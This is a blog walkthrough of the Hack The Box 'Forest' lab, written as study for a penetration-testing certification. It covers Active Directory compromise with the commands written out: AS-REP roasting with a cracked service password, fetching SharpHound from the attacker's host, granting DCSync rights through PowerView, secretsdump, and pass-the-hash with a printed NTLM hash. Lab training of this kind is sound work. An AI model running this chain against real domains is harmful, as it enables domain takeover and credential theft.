DEV Community

Jung
Jung

Posted on AI-assisted

HTB - Forest

I’m planning to take the TCM Security PJPT certification exam next Monday. I’ve finished going through the PEH course, and I wanted to spend some time working on HTB machines to put some of the techniques and methodologies I learned into practice and build up my confidence for the exam.

While looking around online, I came across the Forest machine, which seems to be one of the more well-known machines for getting some hands-on experience with Active Directory attacks, so I decided to give it a try.

I got stuck here and there along the way, but overall, it was a really fun machine to work on. I also learned quite a lot from it, especially when it comes to Active Directory enumeration and attacking AD environments.

Although this machine is categorized as “Easy”, I’d recommend having some basic Active Directory knowledge before giving it a try. Without it, you’ll probably find yourself very lost

OS: Windows
Difficulty: Easy

After the nmap enumeration, we get a pretty long output:

└─# nmap -T4 --min-rate 5000 -p- -sV -sC 10.129.89.197 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-21 02:52 -0400
Nmap scan report for 10.129.89.197
Host is up (0.25s latency).
Not shown: 65511 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-21 06:58:49Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49681/tcp open  msrpc        Microsoft Windows RPC
49698/tcp open  msrpc        Microsoft Windows RPC
50029/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m21s, deviation: 4h02m30s, median: 6m20s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2026-09-20T23:59:42-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-09-21T06:59:43
|_  start_date: 2026-09-21T06:42:51
Enter fullscreen mode Exit fullscreen mode

From the scan results, we can identify several services and pieces of information that give us a good indication of the target’s role:

  1. DNS is running, which is commonly used within Active Directory environments for name resolution.
  2. Kerberos is running, which is a key authentication protocol used by Active Directory.
  3. LDAP is running, which is commonly used to query and interact with Active Directory directory services.
  4. The domain name is htb.local.
  5. The hostname of the machine is FOREST.

The combination of Kerberos, LDAP, and DNS, along with the presence of an Active Directory domain, is a strong indicator that this machine is a Domain Controller (DC).

A Domain Controller is a Windows server responsible for managing an Active Directory domain. Among other things, it handles user and computer accounts, authentication through Kerberos, and directory queries through LDAP.

Based on these findings, we can reasonably conclude that FOREST is acting as a Domain Controller for the htb.local domain.

At this point, I knew that one of the first things I should do was enumerate the users in the htb.local domain. But honestly, I was stuck haha. I had no idea where to begin.

Since we were only given a single IP address for the target machine rather than a subnet, some of the techniques I had learned from the PEH course didn’t really apply here. For example, I couldn’t make use of LLMNR poisoning or IPv6 attacks, since those typically rely on being in the same network environment as the target. SMB Relay was also not an option because, based on my Nmap enumeration, SMB message signing was enabled and required.

I didn’t want to rely too heavily on HTB’s guided mode, as I wanted to figure things out on my own. However, I eventually had to take a look at the hints, and that’s when I came across anonymous LDAP authentication.

This was something I hadn’t considered before, and it gave me a starting point for enumerating information from the Active Directory environment.

So I went to search Google for “anonymous LDAP enumeration”. I came across an article that introduced me to windapsearch.py, which looked like a useful tool for enumerating information from an LDAP server.


The github link for windapsearch -> https://github.com/ropnop/windapsearch

After cloning the repository, I ran windapsearch.py with ObjectClass=* to perform a broad LDAP enumeration of the domain. This allowed me to retrieve different types of objects from Active Directory, including users, computers, groups, and other directory objects.

From the output, I only wanted to extract the names that appeared after the first CN= and before the first , in each entry. Rather than manually going through the output, I asked ChatGPT to help me come up with a command that would extract these values and save them into a users.txt file.

After getting the users.txt file, I realised that I could use impacket-GetNPUsers to check whether any of the domain accounts had Kerberos pre-authentication disabled.

I thought of this because, normally, when a user requests a TGT from the KDC (Key Distribution Center), they first need to prove their identity through Kerberos pre-authentication. The KDC then uses information associated with the user’s secret to process the authentication request and, if everything checks out, issues a TGT.

However, if Kerberos pre-authentication is disabled for an account, the user can request authentication without first providing that proof. The KDC will respond with an AS-REP containing encrypted data derived from the user’s password.

This means that if we can obtain the AS-REP response for an account with pre-authentication disabled, we can take it offline and attempt to crack the response to recover the user’s password. This technique is commonly known as AS-REP Roasting.

Once I ran the command, I got quite a lot of output, probably because the users.txt file contained more than just actual user accounts. However, after going through the results, I eventually managed to find a service account called svc-alfresco that had Kerberos pre-authentication disabled.

The command returned an AS-REP hash for the account, which meant I could potentially attempt to crack it offline and recover the account’s password.

I saved the AS-REP hash into a separate file and then tried cracking it with Hashcat. I wasn’t sure which Hashcat mode to use, so I Googled it and found that mode 18200 is used for Kerberos 5 AS-REP etype 23 hashes.

I ran Hashcat with the appropriate wordlist and managed to successfully crack the hash, giving me the password for the svc-alfresco account (s3rvice)

So now we have a user account:
Username: svc-alfresco
Password: s3rvice

I knew I couldn’t use impacket-psexec with the svc-alfresco account since it obviously wasn’t an administrator account. However, I remembered from my HTB Responder write-up that if WinRM (port 5985) is exposed and we have valid credentials for a user who is allowed to use WinRM, we can potentially authenticate to the machine using Evil-WinRM.

Since port 5985 was open and I now had valid credentials for svc-alfresco, I decided to give it a try and it worked. Navigated to svc-alfresco's Desktop to find the user flag

Privilege Escalation

I was pretty excited at this point because I finally got to actually use BloodHound to enumerate the Active Directory environment and look for potential paths to higher-privileged accounts.

I ran bloodhound-python to collect information about the users, groups, computers, and other objects in the domain. However, I ran into a problem because the svc-alfresco account couldn’t authenticate to LDAP, so I wasn’t able to collect the information I needed.

So I went to google if there is a way to ingest bloodhound data from within window machine itself and surprisingly, there was which is called "sharphound"


github repo link -> https://github.com/SpecterOps/SharpHound

I went to the Releases section of the GitHub repository and downloaded the SharpHound binary. I then started a simple HTTP server in the directory on my Kali machine containing SharpHound.exe.

From the target machine, I used PowerShell’s wget command to download the file from my Kali machine. In PowerShell, wget is an alias for Invoke-WebRequest, which can be used to retrieve files over HTTP.
wget "http://{kali ip address}/SharpHound.exe" -outfile SharpHound.exe

One thing to take note of is that when I initially downloaded the latest SharpHound.exe binary, I ran into an error saying that the installed .NET Runtime version was not compatible.

I fixed this by downloading an older version of the SharpHound binary, which worked with the .NET version available on the target machine.

You may run into the same issue, so if the latest version doesn’t work, try using an older release of SharpHound.

Once SharpHound finished running, it generated a ZIP file containing the collected Active Directory data. I downloaded this ZIP file onto my Kali machine so that I could upload it to BloodHound and let it ingest the data.

Upload the JSON files containing the Active Directory data.

This was the point where I really started to appreciate how useful BloodHound is. Being able to visualize and analyze the relationships between users, groups, computers, and permissions within an Active Directory environment made it much easier to understand how everything was connected.

Instead of manually going through all the information we collected, we could use BloodHound to identify interesting relationships and potential attack paths that could eventually lead to higher-privileged accounts or groups.

I immediately went to Explore → Cypher → Saved Queries and selected “Shortest Paths to Domain Admins” to see if there were any potential attack paths that could lead to the Domain Admins group.

If we take a look at this portion of the BloodHound graph, we can see that the Exchange Windows Permissions group has WriteDACL permission over the htb.local domain.

In simple terms, WriteDACL means that members of this group have permission to modify the access control list (DACL) of the domain object. This is interesting because being able to modify the DACL can potentially allow us to grant additional permissions to a user or group, which could then be used to escalate our privileges within the domain.

Now I wanted to find out who has inbound control over the Exchange Windows Permissions group.

This is because inbound control in BloodHound shows us which users or groups have permissions over the selected object. In this case, I wanted to identify accounts that have some level of control over the Exchange Windows Permissions group, such as the ability to modify its membership or permissions.

For mental model:
Inbound control -> "Who can control this object?"
Outbound control -> "What objects can this object control?"

After inspecting the Inbound Control relationship graph, I noticed something that finally clicked.

We can see that the compromised svc-alfresco account is a member of the Service Account Group, which is itself a member of the Privileged IT Account Group. That group is then a member of the Account Operators group.

More importantly, the Account Operators group has GenericAll permission over the Exchange Windows Permissions group.

This means that svc-alfresco can exercise the GenericAll rights that Account Operators has over the Exchange Windows Permissions group

So what can Account Operators can do?

And what can Exchange Windows Permissions can do?

Hence:
Account Operators membership → gives svc-alfresco the ability to perform certain account-management operations, such as creating users.

GenericAll over Exchange Windows Permissions → gives svc-alfresco extensive control over that group object, including the ability to modify its membership.

At this point, I had a pretty good idea of what the attack chain would look like.

My plan was to first create a new user and add that user to the Exchange Windows Permissions group. Earlier, we found that this group has WriteDACL permission over the htb.local domain object. This means that once our new user is a member of the group, we can potentially modify the domain object’s DACL and grant the user the directory replication permissions required to perform DCSync.

Once the user has the necessary replication rights, we can use impacket-secretsdump to perform a DCSync attack and retrieve password hashes for domain accounts, including the Domain Administrator account.

That would be the final goal of this attack chain.

I first created a new user: net user {name} {password} /add /domain
Username: newuser
Password: iamgroot6767

and added this user into the Exchange Windows Permission Group
net group "Exchange Windows Permissions" {name} /add /domain

I then tried to grant DCSync rights to the newly created user using the following command, which I got from ChatGPT:

Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity "newuser" -Rights DCSync

However, I got an error saying:

"Get-ObjectAcl is not recognized as the name of a cmdlet"

At first, I had no idea what this meant, so I went to Google to figure out what was going on. Eventually, I found out that Add-DomainObjectAcl is a function from PowerView, which meant that PowerView needed to be loaded into my PowerShell session before I could use the command.

Googled PowerView.ps1 download and managed to find the github repo for it


github repo link: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

After downloading the PowerView.ps1, I transferred it to the svc-alfresco machine via the same way I did for the SharpHound.exe

Run the PowerView.ps1 by -> . .\PowerView.ps1 (Apparently this is the way to run the file)

And heres the part that I was stuck for really long. I faced an issue where even though the command for giving DCSync right to newuser didn't throw the error, it didn't actually give DCSync right to newuser

To verify whether the DCSync permissions had been successfully granted, I ran the following command:

Get-DomainObjectAcl -Identity "DC=htb,DC=local" -ResolveGUIDs | Where-Object {$_.ObjectAceType -match "Replication"} | Select-Object SecurityIdentifier,ObjectAceType,ActiveDirectoryRights

This command queries the ACL of the htb.local domain object and filters the results for replication-related permissions. It then displays the Security Identifier (SID), the type of replication permission, and the associated Active Directory rights.

I expected to see the SID belonging to newuser, which ends in 10101, but it wasn’t anywhere in the output. This suggested that the DCSync permissions had not been applied successfully, so I needed to figure out what went wrong.

However, I couldn’t figure out why it wasn’t working. No matter what I tried, the SID of newuser still wasn’t showing up in the replication-related ACLs, so I eventually had no choice but to refer to the official HTB write-up.

From the write-up, I found that the important part was to perform the ACL modification using the credentials of the newly created user.

So what was actually happening?
When I ran the command without -Credential, PowerView was likely performing the LDAP operation using the credentials of my current session, which was svc-alfresco.

The problem was that svc-alfresco was not a member of the Exchange Windows Permissions group. It was newuser that I had created and added to the group, meaning that newuser was the account that inherited the WriteDACL permission.

This made me realise that the key point was which account was actually performing the ACL modification.

I needed the newly created newuser account to perform the ACL modification, rather than svc-alfresco. That’s why there was a need to create PSCredential object containing newuser’s credentials and passed it to Add-ObjectACL using the -Credential parameter.

This tells PowerView to perform the LDAP operation using newuser’s credentials, allowing the operation to make use of the WriteDACL permission that newuser inherited through its membership in the Exchange Windows Permissions group.

First, convert the plaintext password of newuser into a SecureString:

$pass = ConvertTo-SecureString 'iamgroot6767' -AsPlainText -Force

Next, create a PowerShell credential object using the username and the SecureString password:

$cred = New-Object System.Management.Automation.PSCredential('htb\newuser', $pass)

Finally, run the ACL modification command again, this time supplying the credential object:

Add-ObjectACL -PrincipalIdentity newuser -Credential $cred -Rights DCSync

This time, the command successfully granted the DCSync permissions to newuser. This was a very good lesson learnt

Since newuser now has the necessary DCSync/replication rights, we can use impacket-secretsdump with the newuser account to perform a DCSync attack.

This allows us to request credential information from Active Directory through the directory replication process, including password hashes for domain accounts.

Command:
impacket-secretsdump htb/newuser:'iamgroot6767'@10.129.90.30

From the output, secretsdump dumped credential information for the domain accounts that our DCSync permissions allowed us to retrieve, and we finally obtained the Domain Administrator’s NTLM hash.

Since we now have the NTLM hash, we don’t actually need to crack the password. We can use a Pass-the-Hash (PtH) attack to authenticate as the Administrator account by supplying the hash directly to impacket-psexec.

The command used:

impacket-psexec Administrator@10.129.90.30 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

After successfully authenticating as Administrator, I navigated to the Administrator’s Desktop and retrieved the root flag, completing the machine.

Top comments (0)